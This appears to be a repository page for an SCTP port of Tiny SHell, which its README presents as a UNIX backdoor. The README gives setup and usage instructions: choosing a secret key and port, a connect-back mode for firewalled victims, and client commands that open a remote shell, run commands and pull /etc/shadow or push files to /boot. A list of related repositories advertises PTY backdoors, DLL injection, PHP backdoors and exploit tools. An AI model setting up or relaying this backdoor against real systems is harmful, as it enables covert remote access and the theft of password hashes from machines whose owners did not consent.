• Stars
    star
    122
  • Rank 292,031 (Top 6 %)
  • Language
    C
  • Created about 11 years ago
  • Updated about 11 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

TinySHell port to SCTP
                 Tiny SHell - An open-source UNIX backdoor


    * Before compiling Tiny SHell

        1. First of all, you should setup your secret key, which
           is located in tsh.h; the key can be of any length (use
           at least 12 characters for better security).

        2. It is advised to change SERVER_PORT, the port on which
           the server will be listening for incoming connections.

        3. You may want to start tshd in "connect-back" mode if
           it runs on on a firewalled box; simply uncomment and
           modify CONNECT_BACK_HOST in tsh.h.

    * Compiling Tiny SHell

        Run "make <system>", where <system> can be any one of these:
        linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf

    * How to use the server

        It can be useful to set $HOME and the file creation mask
        before starting the server:

            % umask 077; HOME=/var/tmp ./tshd

    * How to use the client

        Make sure tshd is running on the remote host. You can:

        - start a shell:

            ./tsh <hostname>

        - execute a command:

            ./tsh <hostname> "uname -a"

        - transfer files:

            ./tsh <hostname> get /etc/shadow .
            ./tsh <hostname> put vmlinuz /boot

        Note: if the server runs in connect-back mode, replace
        the remote machine hostname with "cb".

    * About multiple file transfers

        At the moment, Tiny SHell does not support scp-like multiple
        and/or recursive file transfers. You can work around this bug
        by simply making a tar archive and transferring it. Example:

        ./tsh host "stty raw; tar -cf - /etc 2>/dev/null" | tar -xvf -

    * About terminal modes

        On some brain-dead systems (actually, IRIX and HP-UX), Ctrl-C
        and other control keys do not work correctly. Fix it with:

            % stty intr "^C" erase "^H" eof "^D" susp "^Z" kill "^U"

    * About security

        Please remember that the secret key is stored in clear inside
        both tsh and tshd executables; therefore you should make sure
        that no one except you has read access to these two files.
        However, you may choose not to store the real (valid) key in
        the client, which will then ask for a password when it starts.

    * Notes regarding SCTP version:
	Only tested on Archlinux so far, expect it to fail hideously
	on anything else.
	Is a fairly ugly hack, has some compiling errors which I plan to
	eventually track down and fix.
	Security of the  backdoor file (tsh) - i.e. the password being in
	cleartext is to be fixed soonish by only storing a hashed password.
	Testing on hpux, *bsd, etc once I have access to such boxes. 

More Repositories

1

python-pty-shells

Python PTY backdoors - full PTY or nothing!
Python
735
star
2

python-dll-injection

Python toolkit for injecting DLL files into running processes on Windows
Python
243
star
3

exploits

Some exploits and exploit development stuff.
Python
149
star
4

web-exploitation-engine

Generic Command Exploitation Engine for exploiting web application command-injection bugs,.
Python
32
star
5

fimap-aeshttp

Fimap post-exploitation plugin that injects dave Rel1k's AES HTTP Reverse Shell
Python
17
star
6

weevils

Fimap post-exploitation plugin that injects Weevely as a persistent PHP backdoor on the target server
9
star
7

vaporware

The most amazing project ever that will fix security problems forever! All of security is fixed now! We can pack up and go home! Defends against all viruses, hackers, malware, and even stupid users!
7
star
8

ICMP-Chat

P2P ICMP-based Chat Client
7
star
9

php-eval-shell

Quick and dirty project testing out eval() based PHP backdoors for research. Nothing special for now.
6
star
10

phpkit

PHP Backdooring framework using include() and php://input to execute code.
Python
4
star
11

tekmu

The Evil Karmetasploit Upgrade - Development for MSF4
Ruby
3
star
12

QuickSploit

Small script to exploit windows boxes quickly.
2
star
13

fimap-uploader

Fimap Upload-File plugin for uploading anything ever, like a PHP backdoor or something like that. Written on request, needs work
2
star
14

Palioxis

Linux self-destruction utility
1
star
15

php-findsock

Some experiments with PHP and socket stealing thanks to lolchina
1
star
16

tsh-original

Original tsh code, on which my sctp port is based
1
star